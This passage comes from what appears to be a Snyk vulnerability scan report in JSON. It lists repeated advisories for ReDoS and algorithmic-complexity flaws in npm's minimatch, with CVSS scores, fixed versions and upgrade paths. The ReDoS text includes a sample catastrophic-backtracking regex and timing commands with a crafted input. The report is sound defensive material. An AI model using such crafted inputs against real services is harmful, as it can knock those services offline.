(a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", 